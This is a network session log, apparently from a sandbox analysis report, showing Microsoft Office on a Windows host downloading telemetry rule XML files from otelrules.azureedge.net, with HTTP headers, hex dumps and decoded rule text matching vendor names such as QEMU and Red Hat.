2024-12-02 06:37:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b6cdcd34-001e-0014-02c7-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063746Z-174f784596886s2bhC1EWR743w000000141g000000009s1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:45 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1fbe2e95-401e-0083-4bb4-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063746Z-174f7845968n2hr8hC1EWR9cag00000013q0000000006mhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:46 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:46 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:46 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 78ef61fc-d01e-0017-39f1-41b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063746Z-174f7845968qj8jrhC1EWRh41s00000014300000000016hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:46 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:46 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: dcd7ccea-901e-005b-7bbf-432005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063746Z-174f7845968cpnpfhC1EWR3afc00000013tg000000000fnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:46 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:46 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 3111ff0c-301e-001f-4971-40aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063746Z-174f7845968psccphC1EWRuz9s00000014d0000000000ypy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:46 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063748Z-174f78459685m244hC1EWRgp2c00000013wg0000000070n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063748Z-174f7845968kvnqxhC1EWRmf3g0000000qvg000000005xyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 438404c1-e01e-0020-72a2-42de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063748Z-174f7845968cdxdrhC1EWRg0en0000001430000000002enb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:48 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 512a133a-001e-0066-4733-40561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063748Z-174f78459685726chC1EWRsnbg000000140000000000ea7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:48 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:49 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8c8f6d8-301e-0052-3262-4365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063748Z-174f78459685726chC1EWRsnbg00000014600000000022un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:50 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: b778ce42-a01e-0021-7a3d-41814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063750Z-174f7845968kvnqxhC1EWRmf3g0000000qs000000000d3vx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:50 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1cfa5ca7-601e-000d-64b2-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063750Z-174f784596886s2bhC1EWR743w0000001450000000002ymf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
